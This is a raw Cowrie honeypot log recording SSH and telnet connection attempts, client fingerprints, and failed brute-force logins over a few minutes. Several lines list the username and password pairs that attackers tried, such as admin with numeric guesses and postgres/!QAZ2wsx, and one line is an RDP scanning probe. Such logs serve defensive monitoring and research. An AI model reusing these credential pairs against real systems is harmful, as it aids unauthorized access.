{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":45326,"dst_ip":"10.17.0.5","dst_port":22,"session":"3af887d0e6af","protocol":"ssh","message":"New connection: 210.183.21.53:45326 (10.17.0.5:22) [session: 3af887d0e6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:46.079798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:46.085712Z","src_ip":"210.183.21.53","session":"3af887d0e6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:46.283572Z","src_ip":"210.183.21.53","session":"3af887d0e6af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Passw0rd","message":"login attempt [developer/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:47.101699Z","src_ip":"210.183.21.53","session":"3af887d0e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:48.302966Z","src_ip":"210.183.21.53","session":"3af887d0e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.4994843006134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:52.245089Z","src_ip":"69.65.3.189","session":"672e37ad5f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f9a9ece430","protocol":"telnet","message":"New connection: 103.115.172.252:53284 (10.17.0.5:23) [session: a2f9a9ece430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:17.629867Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60372,"dst_ip":"10.17.0.5","dst_port":22,"session":"112575c6e4a0","protocol":"ssh","message":"New connection: 194.59.206.2:60372 (10.17.0.5:22) [session: 112575c6e4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:18.488953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:18.494586Z","src_ip":"194.59.206.2","session":"112575c6e4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:18.582113Z","src_ip":"194.59.206.2","session":"112575c6e4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:18.680274Z","src_ip":"194.59.206.2","session":"112575c6e4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":34082,"dst_ip":"10.17.0.5","dst_port":22,"session":"781758bc7ce0","protocol":"ssh","message":"New connection: 210.183.21.53:34082 (10.17.0.5:22) [session: 781758bc7ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:41.986619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:41.991790Z","src_ip":"210.183.21.53","session":"781758bc7ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:42.197801Z","src_ip":"210.183.21.53","session":"781758bc7ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123","message":"login attempt [test1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:43.053154Z","src_ip":"210.183.21.53","session":"781758bc7ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:13:44.261692Z","src_ip":"210.183.21.53","session":"781758bc7ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.438575744628906,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:00.067951Z","src_ip":"103.115.172.252","session":"a2f9a9ece430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f2b75787f4d","protocol":"ssh","message":"New connection: 187.16.96.250:57770 (159.203.135.109:22) [session: 3f2b75787f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:21.192579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:21.197647Z","src_ip":"187.16.96.250","session":"3f2b75787f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:21.314798Z","src_ip":"187.16.96.250","session":"3f2b75787f4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"test3123","message":"login attempt [test3/test3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:21.812237Z","src_ip":"187.16.96.250","session":"3f2b75787f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:22.933189Z","src_ip":"187.16.96.250","session":"3f2b75787f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50914,"dst_ip":"10.17.0.5","dst_port":23,"session":"c87f2810a452","protocol":"telnet","message":"New connection: 103.115.172.252:50914 (10.17.0.5:23) [session: c87f2810a452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:28.303669Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31420,"dst_ip":"159.203.135.109","dst_port":22,"session":"f652a71fe6c4","protocol":"ssh","message":"New connection: 2.57.121.112:31420 (159.203.135.109:22) [session: f652a71fe6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:34.816490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:34.821412Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:34.922810Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170882","message":"login attempt [admin/170882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:35.401744Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170880","message":"login attempt [admin/170880] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:36.505671Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170793","message":"login attempt [admin/170793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:37.610862Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":51054,"dst_ip":"10.17.0.5","dst_port":22,"session":"f840cac0cf11","protocol":"ssh","message":"New connection: 210.183.21.53:51054 (10.17.0.5:22) [session: f840cac0cf11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:37.848095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:37.860243Z","src_ip":"210.183.21.53","session":"f840cac0cf11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:38.056901Z","src_ip":"210.183.21.53","session":"f840cac0cf11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170792","message":"login attempt [admin/170792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:38.716187Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"!QAZ2wsx","message":"login attempt [postgres/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:38.876246Z","src_ip":"210.183.21.53","session":"f840cac0cf11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17071971","message":"login attempt [admin/17071971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:39.819873Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:40.076021Z","src_ip":"210.183.21.53","session":"f840cac0cf11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:14:40.924896Z","src_ip":"2.57.121.112","session":"f652a71fe6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36682,"dst_ip":"10.17.0.5","dst_port":23,"session":"9625cae7b494","protocol":"telnet","message":"New connection: 103.115.172.252:36682 (10.17.0.5:23) [session: 9625cae7b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:02.663402Z"}
{"eventid":"cowrie.session.closed","duration":40.273802518844604,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:08.577348Z","src_ip":"103.115.172.252","session":"c87f2810a452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":49840,"dst_ip":"10.17.0.5","dst_port":23,"session":"0154d937f52c","protocol":"telnet","message":"New connection: 94.46.12.68:49840 (10.17.0.5:23) [session: 0154d937f52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:22.061060Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39826,"dst_ip":"10.17.0.5","dst_port":22,"session":"2098db1ff51a","protocol":"ssh","message":"New connection: 210.183.21.53:39826 (10.17.0.5:22) [session: 2098db1ff51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.767590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.772988Z","src_ip":"210.183.21.53","session":"2098db1ff51a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":62926,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2ae33318734","protocol":"ssh","message":"New connection: 103.149.252.223:62926 (159.203.135.109:22) [session: f2ae33318734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.798950Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.804101Z","src_ip":"103.149.252.223","session":"f2ae33318734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.807948Z","src_ip":"103.149.252.223","session":"f2ae33318734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:32.970691Z","src_ip":"210.183.21.53","session":"2098db1ff51a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password1234","message":"login attempt [ubuntu/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:33.790044Z","src_ip":"210.183.21.53","session":"2098db1ff51a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:34.991270Z","src_ip":"210.183.21.53","session":"2098db1ff51a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.39752006530762,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:50.060773Z","src_ip":"103.115.172.252","session":"9625cae7b494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46187734603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:15:53.522811Z","src_ip":"94.46.12.68","session":"0154d937f52c","protocol":"telnet"}
